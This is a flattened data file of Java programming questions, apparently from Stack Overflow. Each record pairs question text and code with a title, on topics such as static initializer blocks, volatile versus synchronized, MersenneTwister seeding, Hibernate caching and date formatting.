MediaType.APPLICATION_JSON ) public PojoEntity recallGreet2 ( ) throws MalformedURLException { PojoEntity pojoEntity = new PojoEntity ( ) ; pojoEntity.setTeste1 ( `` LOL '' ) ; pojoEntity.setTeste2 ( `` LOL2 '' ) ; URL apiUrl = new URL ( `` http : //localhost:8080/micro-sample '' ) ; SimpleServiceMicroprofileApi playlistSvc = RestClientBuilder.newBuilder ( ) .baseUrl ( apiUrl ) .build ( SimpleServiceMicroprofileApi.class ) ; return playlistSvc.recallGreet2 ( ) ; } } resources.add ( MicroService.class ) ; { `` teste1 '' : '' LOL '' , '' differentName '' : null }",How to replace jackson for moxy on payara 5 +Java,"Can someone explain me what the following is ? What does this static { ... } do ? I know about static variables from C++ , but is that a static block or something ? When is this stuff going to get executed ?",public class Stuff { static { try { Class.forName ( `` com.mysql.jdbc.Driver '' ) ; } catch ( ClassNotFoundException exception ) { log.error ( `` ClassNotFoundException `` + exception.getMessage ( ) ) ; } ... },Java : what is static { } ? +Java,I just wonder why this compiles ? and what does it mean since it does compile ? OUTPUT :,System.out.println ( 0xp0 ) ; // p ? 0.0,0xp0 prints 0.0 ( Hexadecimal Floating Point Literal ) +Java,"I have the task of porting some python code to Scala for research purposes . Now I use the Apache Math3 commons library and am having difficulty with the MersenneTwister.In Python : In Scala : What am I missing here ? Both are MersenneTwister 's , and Int.MaxValue = 2147483647 = ( 2**31 ) - 1",SEED = 1234567890PRIMARY_RNG = random.Random ( ) PRIMARY_RNG.seed ( SEED ) n = PRIMARY_RNG.randrange ( ( 2**31 ) - 1 ) # 1977150888 val Seed = 1234567890val PrimaryRNG = new MersenneTwister ( Seed ) val n = PrimaryRNG.nextInt ( Int.MaxValue ) //1328851649,Java Apache Math3 MersenneTwister VS Python random +Java,"Are the any useful 3rd party coding templates for Java in Eclipse ? Would be nice with some for Collections for example . Any recommended ? By coding templates , I mean : andetc .","public static void main ( String [ ] args ) { $ { cursor } } $ { array_type } [ ] $ { result : newName ( array ) } = new $ { array_type } [ $ { array } .length + 1 ] ; System.arraycopy ( $ { array } , 0 , $ { result } , 0 , $ { array } .length ) ; $ { result } [ $ { array } .length ] = $ { var } ;",More coding-templates for Java with Eclipse ? +Java,"For example suppose I have a class Vehicle and I wish for a subclass ConvertibleVehicle which has extra methods such as foldRoof ( ) , turboMode ( ) , foldFrontSeats ( ) etc . I wish to instantiate as followsso I still have access to common method such as openDoor ( ) , startEngine ( ) etc . How do I designed such a solution ? To clarify my two initial solutions , neither of which I am happy with are : Have dummy methods foldRoof ( ) , turboMode ( ) , foldFrontSeats ( ) which I override in ConvertibleVehicle only , leaving them to do nothing in other subclassesHave abstract methods foldRoof ( ) , turboMode ( ) , foldFrontSeats ( ) and force each subclass to provide an implementation even if it will be blank in all instances other than ConvertibleVehicleThe above seem slightly convoluted since they both pollute the base class as I add an increasing number of subclasses each with their own unique functionsAfter reading some of the responses perhaps there is some type of fundamental flaw in my design . Suppose I have a class VehicleFleet which takes vehicles and instructs them to drive as follows : Suppose this works for dozens of subclasses of Vehicle but for ConvertibleVehicle I also want to fold the roof before driving . To do so I subclass VehicleFleet as follows : This leaves me with a messy function foldRoof ( ) stuck in the base class where it does n't really belong which is overridden only in the case of ConvertibleVehicle and does nothing in all the other cases . The solution works but seems very inelegant . Does this problem lend itself to a better architecture ? I 'm using Java although I would hope that a general solution could be found that will work in any object oriented language and that I will not need to rely upon language specific quirks",Vehicle convertible = new ConvertibleVehicle ( ) public VehicleFleet ( Vehicle [ ] myVehicles ) { for ( int i=0 ; i < myVehicles.length ; i++ ) { myVehicles [ i ] .drive ( ) ; } } public ConvertibleVehicleFleet ( Vehicle [ ] myVehicles ) { for ( int i=0 ; i < myVehicles.length ; i++ ) { myVehicles [ i ] .foldRoof ( ) ; myVehicles [ i ] .drive ( ) ; } },How do I design a sub class with features not available in the base class ? +Java,"In Java , the expression : Appears to evaluate as equivalent to : Despite the fact that +n is a valid unary operator with higher precedence than the arithmetic + operator in n + n. So the compiler appears to be assuming that the operator can not be the unary operator and resolving the expression.However , the expression : Does not compile , even though there is a single valid possibility for it to be resolved as : ++n and +n are specified as having the same precedence , so why does the compiler resolve the seeming ambiguity in n+++n in favour of the arithmetic + but does not do so with n++++n ?",n+++n n++ + n n++++n n++ + +n,Why is n+++n valid while n++++n is not ? +Java,"I am having trouble replicating the picture for my assignment . I would appreciate any tips or solutions . I believe I have the general idea down , but I am having a hard time figuring out the math to replicate the image and doing everything in a single loop.My program needs to meet these criteria : Match the ImageGenerate a random color for each pair of parabolic curveWork with any width or height Use a single loop to draw the entire figure.Here is the image : This is what I have tried so farThe output :","public static final int WIDTH = 500 ; public static final int HEIGHT = 500 ; public static final int LINE_INCREMENT = 5 ; public static void main ( String [ ] args ) { DrawingPanel panel = new DrawingPanel ( WIDTH , HEIGHT ) ; Graphics g = panel.getGraphics ( ) ; int d = 0 ; int iterations = HEIGHT/LINE_INCREMENT ; Random rand = new Random ( ) ; int red = 0 , green = 0 , blue = 0 ; red = rand.nextInt ( 128 ) + 128 ; green = rand.nextInt ( 128 ) + 128 ; blue = rand.nextInt ( 128 ) + 128 ; g.setColor ( new Color ( red , green , blue ) ) ; for ( int y = 0 ; y < iterations ; y++ ) { g.drawLine ( 0 , d , d , HEIGHT ) ; g.drawLine ( WIDTH , d , d , 0 ) ; d += LINE_INCREMENT ; } red = rand.nextInt ( 128 ) + 128 ; green = rand.nextInt ( 128 ) + 128 ; blue = rand.nextInt ( 128 ) + 128 ; g.setColor ( new Color ( red , green , blue ) ) ; d = 0 ; for ( int x = 0 ; x < iterations/2 ; x++ ) { g.drawLine ( WIDTH/4 , d + HEIGHT/4 , d + WIDTH/4 , HEIGHT - HEIGHT/4 ) ; g.drawLine ( d + WIDTH/4 , WIDTH/4 , WIDTH - WIDTH/4 , d + WIDTH/4 ) ; d += LINE_INCREMENT ; } }",Nesting parabolic curves from straight lines +Java,Can someone please clarify what is the usage of spring.application.index property and why do we need it ? Application.yml :,spring : application : name : ServiceName index :,Usage of spring application index +Java,I 'm wondering if it 's a good practise to create default DAO interface instead of creating own interface for each class.Now we can implement this interface by multiple classes . Of course this sollution has it 's cons like downcasting during retrieving data but I think it 's still more efficient and code clear . Is this a good way to go ?,public interface DAO { public void addItem ( ) ; public void updateItem ( ) ; public void removeItem ( ) ; public Object getItem ( int id ) ; public Object [ ] getAll ( ) ; },Creating a default DAO interface +Java,. . .Example : กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ ก็็็็็็็็็็็็็็็็็็็็ ก็็็็็็็็็็็็็็็็็็็็ กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ ก็็็็็็็็็็็็็็็็็็็็ กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ ก็็็็็็็็็็็็็็็็็็็็ ก็็็็็็็็็็็็็็็็็็็็ กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ ก็็็็็็็็็็็็็็็็็็็็ กิิิิิิิิิิิิิิิิิิิิ ก้้้้้้้้้้้้้้้้้้้้ ( or any `` zalgo '' text ) I have n't been able to quite figure out any way to check for these . I 'm making a kind of antispam and I do n't see the need to keep these as they can lag users and is just generally spam.What I 'm trying to do isIf anyone knows a simple way to check for combined chars please post ! If you are confused on what I am asking I can explain it further and show more examples if needed .,if ( getMessage ( ) .getRawContent ( ) .contains ( combined character ) .delete ( ) ;,How to check if a message has a combined character in it ? +Java,"Can someone explain to me like I 'm five why I get different behaviour for two of four primitive types representing integers in Java ? AFAIK all four are signed and they all use the most significant bit as a sign bit , so why do byte and short behave normally , and int and long act , well , strange ? The fragment of oracle docs explaining this would be perfect.I 'm using Oracle 's Java SE 1.7 for Windows . OS is Windows 7 Professional SP1EDIT , after reading all the answers and tuning my code.So , to sum up , the only way I found to get expected values is the use of BigInteger . Shift operator works well for bytes , shorts and ints , but when it comes to longs , I cought it on one malfunction.With BigInteger everything works flawlesslyThanks everyone for big help !","byte a = ( byte ) ( Math.pow ( 2 , 7 ) -1 ) ; //127 - as expectedshort b = ( short ) ( Math.pow ( 2 , 15 ) -1 ) ; //32767 - as expectedint c = ( int ) ( Math.pow ( 2 , 31 ) -1 ) ; //2147483647 - as expectedlong d = ( long ) ( Math.pow ( 2 , 63 ) -1 ) ; //9223372036854775807 - as expecteda = ( byte ) ( Math.pow ( 2 , 7 ) ) ; //-128 - as expectedb = ( short ) ( Math.pow ( 2 , 15 ) ) ; //-32768 - as expectedc = ( int ) ( Math.pow ( 2 , 31 ) ) ; //2147483647 - why not '-2147483648 ' ? d = ( long ) ( Math.pow ( 2 , 63 ) ) ; //9223372036854775807 - why not '-9223372036854775808 ' ? a = ( byte ) ( Math.pow ( 2 , 8 ) ) ; //0 - as expectedb = ( short ) ( Math.pow ( 2 , 16 ) ) ; //0 - as expectedc = ( int ) ( Math.pow ( 2 , 32 ) ) ; //2147483647 - why not ' 0 ' ? d = ( long ) ( Math.pow ( 2 , 64 ) ) ; //9223372036854775807 - why not ' 0 ' ? java version `` 1.7.0_45 '' Java ( TM ) SE Runtime Environment ( build 1.7.0_45-b18 ) Java HotSpot ( TM ) 64-Bit Server VM ( build 24.45-b08 , mixed mode ) byte a = ( byte ) ( ( 1l < < 7 ) - 1 ) ; //127 - as expectedshort b = ( short ) ( ( 1l < < 15 ) - 1 ) ; //32767 - as expectedint c = ( int ) ( 1l < < 31 ) - 1 ; //2147483647 - as expectedlong d = ( 1l < < 63 ) - 1 ; //9223372036854775807 - as expecteda = ( byte ) ( 1l < < 7 ) ; //-128 - as expectedb = ( short ) ( 1l < < 15 ) ; //-32768 - as expectedc = ( int ) 1l < < 31 ; //-2147483648 - as expectedd = 1l < < 63 ; //-9223372036854775808 - as expecteda = ( byte ) ( 1l < < 8 ) ; //0 - as expectedb = ( short ) ( 1l < < 16 ) ; //0 - as expectedc = ( int ) ( 1l < < 32 ) ; //0 - as expectedd = 1l < < 64 ; //1 instead of 0 , probably because of the word length limitation byte a = ( byte ) ( new BigInteger ( `` 2 '' ) .pow ( 7 ) .longValue ( ) - 1 ) ; //127 - as expectedshort b = ( short ) ( new BigInteger ( `` 2 '' ) .pow ( 15 ) .longValue ( ) - 1 ) ; //32767 - as expectedint c = ( int ) ( new BigInteger ( `` 2 '' ) .pow ( 31 ) .longValue ( ) - 1 ) ; //2147483647 - as expectedlong d = ( new BigInteger ( `` 2 '' ) .pow ( 63 ) .longValue ( ) - 1 ) ; //9223372036854775807 - as expecteda = ( byte ) ( new BigInteger ( `` 2 '' ) .pow ( 7 ) .longValue ( ) ) ; //-128 - as expectedb = ( short ) ( new BigInteger ( `` 2 '' ) .pow ( 15 ) .longValue ( ) ) ; //-32768 - as expectedc = ( int ) new BigInteger ( `` 2 '' ) .pow ( 31 ) .longValue ( ) ; //-2147483648 - as expectedd = new BigInteger ( `` 2 '' ) .pow ( 63 ) .longValue ( ) ; //-9223372036854775808 - as expecteda = ( byte ) ( new BigInteger ( `` 2 '' ) .pow ( 8 ) .longValue ( ) ) ; //0 - as expectedb = ( short ) ( new BigInteger ( `` 2 '' ) .pow ( 16 ) .longValue ( ) ) ; //0 - as expectedc = ( int ) ( new BigInteger ( `` 2 '' ) .pow ( 32 ) .longValue ( ) ) ; //0 - as expectedd = new BigInteger ( `` 2 '' ) .pow ( 64 ) .longValue ( ) ; //0 - as expected",Inconsistent behaviour of primitive integer types in Java +Java,"Can anybody explain the working of following code ... ? Output is ... All answers saying that myInterface in println ( ) statement is anonymous class . But as I already declared it as an interface , why does it allow me to create anonymous class of same name ... . ? again ... if these are anonymous classes then class main should allow me to give any name to these anonymous classes..But if try to do so..I 'm getting compilation error",interface myInterface { } public class Main { public static void main ( String [ ] args ) { System.out.println ( new myInterface ( ) { public String toString ( ) { return `` myInterfacetoString '' ; } } ) ; System.out.println ( new myInterface ( ) { public String myFunction ( ) { return `` myInterfacemyFunction '' ; } } ) ; } } myInterfacetoStringprimitivedemo.Main $ 2 @ 9304b1,Can anybody explain the working of following code ... ? +Java,"I 'm writing software that requires timestamps in microsecond resolution or better.I 'm planning on using System.currentTimeMillis in combination with System.nanoTime sort of like this , though it 's just a rough code sketch : The documentation for nanoTime says : This method provides nanosecond precision , but not necessarily nanosecond resolution ( that is , how frequently the value changes ) - no guarantees are made except that the resolution is at least as good as that of currentTimeMillis ( ) .so it has n't given us a guarantee of a resolution any better than milliseconds.Going a little deeper , under the hood of nanoTime ( which is predictably a native method ) : Windows uses the QueryPerformanceCounter API which promises aresolution of less than one microsecond which is great.Linux uses clock_gettime with a flag to ensure the value ismonotonic but makes no promises about resolution.Solaris is similar to LinuxThe source does n't mention how OSX or Unix-based OSs deal with this . ( source ) I 've seen a couple of vague allusions to the fact it will `` usually '' have microsecond resolution , such as this answer on another question : On most systems the three least-significant digits will always be zero . This in effect gives microsecond accuracy , but reports it at the fixed precision level of a nanosecond.but there 's no source and the word `` usually '' is very subjective.Question : Under what circumstances might nanoTime return a value whose resolution is worse than microseconds ? For example , perhaps a major OS release does n't support it , or a particular hardware feature is required which may be absent . Please try to provide sources if you can.I 'm using Java 1.6 but there 's a small chance I could upgrade if there were substantial benefits with regards to this problem .",private static final long absoluteTime = ( System.currentTimeMillis ( ) * 1000 * 1000 ) ; private static final long relativeTime = System.nanoTime ( ) ; public long getTime ( ) { final long delta = System.nanoTime ( ) - relativeTime ; if ( delta < 0 ) throw new IllegalStateException ( `` time delta is negative '' ) ; return absoluteTime + delta ; },What 's the worst resolution I can reasonably expect from System.nanoTime ? +Java,"I want to transform a Map < String , Integer > to another Map < String , Long > using a map of functions in Java 8 , matching the data with the functions by key in both maps . You can assume that both maps have the same keys . I tried the following approach : Expected result : { A=16 , B=10 , C=17 } .Is there any simpler way of expressing `` apply map of transformers to the map of inputData matching by key '' in Java Streams API ?","Map < String , Integer > inputData = new HashMap < > ( ) ; inputData.put ( `` A '' ,8 ) ; inputData.put ( `` B '' ,7 ) ; inputData.put ( `` C '' ,6 ) ; Map < String , Function < Integer , Long > > transformers = new HashMap < > ( ) ; transformers.put ( `` A '' , x - > x*2L ) ; transformers.put ( `` B '' , x - > x+3L ) ; transformers.put ( `` C '' , x - > x+11L ) ; Map < String , Long > mappedData = inputData.entrySet ( ) .stream ( ) .map ( entry - > new AbstractMap.SimpleEntry < > ( entry.getKey ( ) , transformers.get ( entry.getKey ( ) ) .apply ( entry.getValue ( ) ) ) ) .collect ( toMap ( Map.Entry : :getKey , Map.Entry : :getValue ) ) ;","How do I transform a Map < K , V1 > to another Map < K , V2 > using a map of functions in Java 8 ?" +Java,result java.text.ParseException : Unparseable date : Sun Dec 13 10:00:00 UTC 2009Note : This code seems to work in a normal Java application but seems to fail on Android .,DateFormat sdf = new SimpleDateFormat ( `` EEE MMM d HH : mm : ss z yyyy '' ) ; sdf.parse ( `` Sun Dec 13 10:00:00 UTC 2009 '' ),Why does this SimpleDataFormat parsing fail on Android ? +Java,"I 'm having an issue where a Validation instance is added to a Collection on a Step instance.Declaration is as follows : Step class : Validation class : Both classes are Cacheable with a READ_WRITE strategy applied . The unidirectional Collection of Validations are also cached with same strategy.One would expect when a read-write transaction that invokes addValidation ( new Validation ( 'userName ' ) ) ; commits , the new Validation would be visible in a subsequent read-only transaction . The weird thing is that sometimes it does work and sometimes it does n't work ... The first transaction always succeeds ; we see the new validation being persisted in database and Step 's version property ( for optimistic locking puposes ) getting incremented . But sometimes , the 2nd read transaction contains a Step instance with an empty Validation Collection ... Our Hibernate caching config is as follows : Any idea what 's causing this weird ( and random ) behavior ?","@ Entity @ Table @ Cacheable @ Cache ( usage = CacheConcurrencyStrategy.READ_WRITE ) public class Step extends AbstractEntity implements ValidatableStep { @ OneToMany ( fetch = FetchType.LAZY , cascade = CascadeType.ALL , orphanRemoval = true ) @ JoinColumn ( name = `` step_id '' , nullable = false ) @ Cache ( usage = CacheConcurrencyStrategy.READ_WRITE ) private Set < Validation > validations = new HashSet < > ( ) ; @ Override public void addValidation ( Validation validation ) { // do some stuff ... // add validation instance to collection getValidations ( ) .add ( validation ) ; } } @ Entity @ Table @ Cacheable @ Cache ( usage = CacheConcurrencyStrategy.READ_WRITE ) @ NoArgsConstructor ( access = AccessLevel.PROTECTED ) public class Validation extends AbstractEntity { //some properties } hibernate.cache.use_second_level_cache = truehibernate.cache.use_query_cache = truehibernate.cache.region.factory_class = org.hibernate.cache.ehcache.SingletonEhCacheRegionFactoryhibernate.cache.provider_configuration_file_resource_path = classpath : ehcache.xmlnet.sf.ehcache.hibernate.cache_lock_timeout = 10000",Cache inconsistency - Entity not always persisted in cached Collection +Java,I am trying to solve some online puzzle finding the largest prime factor of a very large number ( 7393913335919140050521110339491123405991919445111971 to be exact ) . In my search for a solution I stumbled upon this Perl code ( from here ) : Now that algorithm seemed to work ! Small problem with Perl is that it does n't accept really big numbers . So I rewrotetobut that just runs for ages and ages . So I rewrote it to Java ( in which I 'm a bit more familiar ) which resulted in this : With as auxiliaries ( which seem to be fine ) : But my results are always off ... and my Perl is not really that good to reverse-engineer the original code . Does anyone have a clue on what I 'm missing ? ==UPDATE : problem is ( somewhat ) solved by workaround,"use strict ; use warnings ; my $ magic = < number > ; sub largestprimef ( $ ) ; sub max ( $ $ ) ; print largestprimef ( $ magic ) ; sub largestprimef ( $ ) { my $ n = shift ; my $ i ; return largestprimef ( max ( 2 , $ n/2 ) ) if ( $ n % 2 == 0 ) ; my $ sn = int ( sqrt ( $ n ) ) ; for ( $ i = 3 ; $ i < = $ sn ; $ i += 2 ) { if ( $ n % $ i == 0 ) { last ; } } if ( $ i > $ sn ) # loop ran over , means the number is prime { return $ n ; } else { return max ( $ i , largestprimef ( $ n / $ i ) ) ; } } sub max ( $ $ ) { return ( sort { $ a < = > $ b } ( @ _ ) ) [ 1 ] ; } my $ magic = < number > ; my $ magic = Math : :BigInt- > new ( ' < number > ' ) ; static final BigInteger two = new BigInteger ( `` 2 '' ) ; public static void main ( String [ ] args ) { BigInteger number = new BigInteger ( `` < number > '' ) ; System.out.println ( goAtIt ( number ) ) ; } static BigInteger goAtIt ( BigInteger prime ) { if ( isEven ( prime ) ) return goAtIt ( prime.divide ( two ) .max ( two ) ) ; BigInteger sqrt = sqrt ( prime ) ; BigInteger comp = new BigInteger ( `` 3 '' ) ; while ( sqrt.compareTo ( comp ) > 0 ) { if ( prime.remainder ( comp ) .equals ( BigInteger.ZERO ) ) break ; comp = comp.add ( two ) ; } if ( comp.compareTo ( sqrt ) > 0 ) return prime ; return comp.max ( goAtIt ( prime.divide ( comp ) ) ) ; } static boolean isEven ( BigInteger number ) { return number.getLowestSetBit ( ) ! = 0 ; } static BigInteger sqrt ( BigInteger n ) { BigInteger a = BigInteger.ONE ; BigInteger b = new BigInteger ( n.shiftRight ( 5 ) .add ( new BigInteger ( `` 8 '' ) ) .toString ( ) ) ; while ( b.compareTo ( a ) > = 0 ) { BigInteger mid = new BigInteger ( a.add ( b ) .shiftRight ( 1 ) .toString ( ) ) ; if ( mid.multiply ( mid ) .compareTo ( n ) > 0 ) b = mid.subtract ( BigInteger.ONE ) ; else a = mid.add ( BigInteger.ONE ) ; } return a.subtract ( BigInteger.ONE ) ; }",From Perl to Java +Java,"I have experience this weird behavior of volatile keyword recently . As far as i know , volatile keyword is applied on to the variable to reflect the changes done on the data of the variable by one thread onto the other thread.volatile keyword prevents caching of the data on the thread.I did a small test ... ... ..I used an integer variable named count , and used volatile keyword on it.Then made 2 different threads to increment the variable value to 10000 , so the end resultant should be 20000.But thats not the case always , with volatile keyword i am getting not getting 20000 consistently , but 18534 , 15000 , etc ... . and sometimes 20000.But while i used synchronized keyword , it just worked fine , why ... . ? ? Can anyone please explain me this behaviour of volatile keyword.i am posting my code with volatile keyword and as well as the one with synchronzied keyword.The following code below behaves inconsistently with volatile keyword on variable countThe following code behaves perfectly with synchronized keyword on the method go ( ) .",public class SynVsVol implements Runnable { volatile int count = 0 ; public void go ( ) { for ( int i=0 ; i < 10000 ; i++ ) { count = count + 1 ; } } @ Override public void run ( ) { go ( ) ; } public static void main ( String [ ] args ) { SynVsVol s = new SynVsVol ( ) ; Thread t1 = new Thread ( s ) ; Thread t2 = new Thread ( s ) ; t1.start ( ) ; t2.start ( ) ; try { t1.join ( ) ; t2.join ( ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } System.out.println ( `` Total Count Value : `` +s.count ) ; } } public class SynVsVol implements Runnable { int count = 0 ; public synchronized void go ( ) { for ( int i=0 ; i < 10000 ; i++ ) { count = count + 1 ; } } @ Override public void run ( ) { go ( ) ; } public static void main ( String [ ] args ) { SynVsVol s = new SynVsVol ( ) ; Thread t1 = new Thread ( s ) ; Thread t2 = new Thread ( s ) ; t1.start ( ) ; t2.start ( ) ; try { t1.join ( ) ; t2.join ( ) ; } catch ( InterruptedException e ) { // TODO Auto-generated catch block e.printStackTrace ( ) ; } System.out.println ( `` Total Count Value : `` +s.count ) ; } },Why Volatile is behaving weirdly +Java,"I am trying to achieve let ’ s say ‘ social ’ date format . I already have a solution , but it feels like a better one should exist . Why social and what do I mean : If we look into Facebook time stamps of the posts we can distinguish between next options : X seconds agoX minutes agoX hours agoYesterday at 11:07 amFriday at 9:36 pmMay 5 at 5:00 pmNovember 20 at 9:05 pm , 2012I made next visual timeline for better explanation : For example : If the current time is : 5:33 pm , 20 sec Wednesday The social post happened between : 00:00 am Tuesday < -- > 5:33 pm , 20 sec Tuesday , then the date format should be like : Yesterday at 11:07 am . Solution I have : I check each option ( 7 in count ) and return 'social ' date string.This is how I check for option 1 : This is how I check for option 4 : I check other options in the same manner.Some methods I use in my if statements above : Finally , My questions : Is there a better way of converting the difference between two Dates to 'social ' string format ? As I said , I feel that some other way like maybe extending DateFormat object could be used , but I am not sure.How to localize the strings like 'Yesterday ' and 'at ' , such that different Local set will change the strings to suitable language ? Sorry for such a long question , but I could n't find shorter way to explain the need.Thanks","Date postDate = getPostDate ( ) ; Date nowDate = getNowDate ( ) ; // check passed secondsint passedSeconds = getPassedSeconds ( postDate , nowDate ) ; if ( passedSeconds < 60 ) { return passedSeconds + `` seconds ago '' ; } // check yesterdayDate startYesterdayDate = getZeroDayBeforeDays ( nowDate , 1 ) ; int compare = compare ( startYesterdayDate , postDate ) ; // if postDate comes after startYesterdayDateif ( compare == -1 ) { return `` Yesterday at `` + getString ( postDate , `` HH : mma '' ) ; } public static String getString ( Date date , String format ) { Format formatter = new SimpleDateFormat ( format , Locale.US ) ; String s = formatter.format ( date ) ; return s ; } /** * For example : today - 1 day * * @ param date * @ param numOfMinusDays * @ return */public static Date getDateMinusDays ( Date date , int numOfMinusDays ) { Calendar calendar = Calendar.getInstance ( ) ; calendar.setTime ( date ) ; calendar.add ( Calendar.DAY_OF_MONTH , ( 0 - numOfMinusDays ) ) ; return calendar.getTime ( ) ; } /** * Get the day before today at 00:00 am. < br > * Means , if passed day = < b > Nov 5 13:04 < /b > , then returned date will be = < b > Nov 4 00:00 < /b > for days = 1 * * @ param date * @ param days Numner of days to reduce * @ return */public static Date getZeroDayBeforeDays ( Date date , int days ) { Calendar yesterday = Calendar.getInstance ( ) ; yesterday.setTime ( getDateMinusDays ( date , days ) ) ; yesterday.set ( Calendar.HOUR_OF_DAY , 0 ) ; yesterday.set ( Calendar.MINUTE , 0 ) ; yesterday.set ( Calendar.SECOND , 0 ) ; yesterday.set ( Calendar.MILLISECOND , 1 ) ; return yesterday.getTime ( ) ; }",Date to String in 'social ' format +Java,"In my TableViewer I have an OwnerDrawLabelProvider where for a specific column in my table I add a ProgressBar to a TableEditor instance.My problem is the following : I 'm able to set the selection of the ProgressBar but when trying to update it remains at the same value.CODE : I read about an issue that setSelection method for ProgressBar has some problems . I created my own ProgressBar by extending the base class and I overrided setSelection method with the fix code but still does n't work.In a normal main function , this works.Can I get some suggestions of what can be the problem or how adding this ProgressBar in a TableViewer influences its behavior ? EDIT : If I create a single instance of progressbar when the label provider is created and then pass it to the tableeditor it will update the progressbar for the last element on which I say editor.setEditor ( bar , tableItem , 4 ) ; but I need to display a progressbar for each item and update it for each item !","@ Overridepublic void update ( ViewerCell cell ) { if ( columnIndex == 4 ) { Table table = tableViewer.getTable ( ) ; TableItem item ; TableItem [ ] items ; TableEditor editor ; items = table.getItems ( ) ; ProgressBar bar = new ProgressBar ( table , SWT.NONE ) ; bar.setMinimum ( 0 ) ; bar.setMaximum ( 100 ) ; bar.setState ( SWT.NORMAL ) ; bar.setSelection ( 0 ) ; bar.setLayoutData ( new GridData ( SWT.FILL , SWT.CENTER , true , true ) ) ; if ( mediator.isSent ( ) ) { List < Item > itemsSendToSubmit = mediator.getItemsSendToSubmit ( ) ; if ( ! itemsSendToSubmit.isEmpty ( ) ) { for ( Iterator < Item > itemIterator = itemsSendToSubmit.iterator ( ) ; itemIterator.hasNext ( ) ; ) { Item itemSubmited = itemIterator.next ( ) ; for ( TableItem tableItem : items ) { if ( tableItem.getText ( 0 ) .contains ( itemSubmited.getId ( ) ) ) { bar.setSelection ( PluginUtility.getBuildProgress ( itemSubmited.getPlan ( ) ) ) ; editor = new TableEditor ( table ) ; editor.grabHorizontal = true ; editor.grabVertical = true ; editor.setEditor ( bar , tableItem , 4 ) ; } } } } } } } catch ( Exception e ) { e.printStackTrace ( ) ; } }",How to update ProgressBar in TableViewer ? +Java,"I want to get java.lang.Class for Scala package object : app/package.scala : app/Main.scala : package appCompilation fails with : object getClass is not a member of package app Note that app extends Any , not AnyRef . Such types can participate in value classes , but instances can not appear in singleton types or in reference comparisons .",package object app { } object Main extends App { val _ = app.getClass },Scala package object getClass +Java,"So I was reading a book for Java 8 , when I saw them doing comparison between external and internal iteration and thought about comparing the two , performance wise.I have a method that just sums up a sequence of integers up to n.Iterative one : Sequential One - using internal iterationI tried to do some benchmarking on them , it turns out that the one using external iteration performs far better than the one using internal iteration.Here 's my driver code : The running time for the Iteravtive one was always < 50ms whereas the execution time for Sequential one was always > 250ms . I am not able to understand why internal iteration is not out performing external iteration here ?","private static long iterativeSum ( long n ) { long startTime = System.nanoTime ( ) ; long sum = 0 ; for ( long i=1 ; i < =n ; i++ ) { sum+=i ; } long endTime = System.nanoTime ( ) ; System.out.println ( `` Iterative Sum Duration : `` + ( endTime-startTime ) /1000000 ) ; return sum ; } private static long sequentialSum ( long n ) { long startTime = System.nanoTime ( ) ; //long sum = LongStream.rangeClosed ( 1L , n ) long sum = Stream.iterate ( 1L , i - > i+1 ) .limit ( n ) .reduce ( 0L , ( i , j ) - > i+j ) ; long endTime = System.nanoTime ( ) ; System.out.println ( `` Sequential Sum Duration : `` + ( endTime-startTime ) /1000000 ) ; return sum ; } public static void main ( String [ ] args ) { long n = 100000000L ; for ( int i=0 ; i < 10000 ; i++ ) { iterativeSum ( n ) ; sequentialSum ( n ) ; } iterativeSum ( n ) ; sequentialSum ( n ) ; }",Java 8 - External Iteration performing better than Internal Iteration ? +Java,"I need to check if an instance of the reflection Field type , as retrieved by Field.getType ( ) is an instance of another class that extends a specific class , GenericModel.I 'm trying something as in the following pseudo code snippet : How do I do this ? When I try something like : I get a result , true , which means it is of the Language class , which extends GenericModel . However ; returns false ?",if ( field.getType ( ) `` is_a_superclass_of '' GenericModel ) { ... then do something with it } field.getType ( ) .isAssignableFrom ( Language.class ) field.getType ( ) .isAssignableFrom ( GenericModel.class ) field.getType ( ) == `` za.co.company.package.model.Language '',How do I check if a type is a subclass of another type ? +Java,"I have bunch of keys and values that I want to send to our messaging queue by packing them in one byte array . I will make one byte array of all the keys and values which should always be less than 50K and then send to our messaging queue.Packet class : Below is the way I am sending data . As of now my design only permits to send data asynchronously by calling sendToQueueAsync method in above sendData ( ) method.Now I need to extend my design so that I can send data in three different ways . It is up to user to decide which way he wants to send data , either `` sync '' or `` async '' .I need to send data asynchronously by calling sender.sendToQueueAsync method.or I need to send data synchronously by calling sender.sendToQueueSync method.or I need to send data synchronously but on a particular socket by calling sender.sendToQueueSync method . In this case I need to pass socket variable somehow so that sendData knows about this variable.SendRecord class : Callers will only call either of below three methods : sendToQueueAsync by passing two parameterssendToQueueSync by passing two parameterssendToQueueSync by passing three parametersHow should I design my Packet and SendRecord class so that I can tell Packet class that this data needs to be send in either of above three ways to my messaging queue . It is up to user to decide which way he wants to send data to messaging queue . As of now the way my Packet class is structured , it can send data only in one way .","public final class Packet implements Closeable { private static final int MAX_SIZE = 50000 ; private static final int HEADER_SIZE = 36 ; private final byte dataCenter ; private final byte recordVersion ; private final long address ; private final long addressFrom ; private final long addressOrigin ; private final byte recordsPartition ; private final byte replicated ; private final ByteBuffer itemBuffer = ByteBuffer.allocate ( MAX_SIZE ) ; private int pendingItems = 0 ; public Packet ( final RecordPartition recordPartition ) { this.recordsPartition = ( byte ) recordPartition.getPartition ( ) ; this.dataCenter = Utils.LOCATION.get ( ) .datacenter ( ) ; this.recordVersion = 1 ; this.replicated = 0 ; final long packedAddress = new Data ( ) .packAddress ( ) ; this.address = packedAddress ; this.addressFrom = 0L ; this.addressOrigin = packedAddress ; } private void addHeader ( final ByteBuffer buffer , final int items ) { buffer.put ( dataCenter ) .put ( recordVersion ) .putInt ( items ) .putInt ( buffer.capacity ( ) ) .putLong ( address ) .putLong ( addressFrom ) .putLong ( addressOrigin ) .put ( recordsPartition ) .put ( replicated ) ; } private void sendData ( ) { if ( itemBuffer.position ( ) == 0 ) { // no data to be sent return ; } final ByteBuffer buffer = ByteBuffer.allocate ( MAX_SIZE ) ; addHeader ( buffer , pendingItems ) ; buffer.put ( itemBuffer ) ; SendRecord.getInstance ( ) .sendToQueueAsync ( address , buffer.array 